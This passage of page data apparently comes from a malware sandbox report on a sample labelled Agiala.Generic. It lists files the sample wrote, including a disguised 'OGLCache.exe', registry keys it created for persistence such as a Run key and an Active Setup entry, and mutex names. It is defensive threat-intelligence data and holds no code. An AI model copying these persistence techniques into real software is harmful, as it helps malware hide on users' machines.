x","report_id":"58d6c621aac2ed6555b58746"}]},{"name":"default.conf","sha256":"5530fdb0d2f6df0642f841747364c67dafaf1205b83578ea22b02d845811ad09","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]}],"files_written":[{"path":"%APPDATA%\\AMD","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"path":"C:\\b12c.exe","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"path":"%APPDATA%\\AMD\\OGLCache.exe","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"path":"%WINDIR%\\system32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"path":"%WINDIR%\\system32\\en-US\\odbcint.dll.mui","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"path":"PIPE\\lsarpc","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\\\","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ACTIVE SETUP\\INSTALLED COMPONENTS\\{E1Y4LVU7-YS70-GIFA-N4M7-5M38886E5XK4}\\\\","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\qKfAHTUt","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]},{"name":"qKfAHTUt","sources":[{"report_type":"sandbox","report_id":"58d6c621aac2ed6555b58746"}]}]}},"report_ids":{"sandbox_job_ids":["58d6c621aac2ed6555b58746"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Agiala.Generic Sample 2b2668fa5331… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 2b2668fa5331…. Malware family: Agiala.Generic. Threat score 100/100. 22/28 AV engines flagged this file. 3 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/2b2668fa5331ffa99fc11d881fbce91927bfac1a8ec5705b6412c7903543116a"}],["$","meta","4",{"property":"og:title","content":"Malicious Agiala.Generic Sample 2b2668fa5331… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 2b2668fa5331…. Malware family: Agiala.Generic. Threat score 100/100. 22/28 AV engines flagged this file. 3 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/2b2668fa5331ffa99fc11d881fbce91927bfac1a8ec5705b6412c7903543116a"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Agiala.Generic Sample 2b2668fa5331… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 2b2668fa5331…. Malware family: Agiala.Generic. Threat score 100/100. 22/28 AV engines flagged this file. 3 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L27","11",{}]]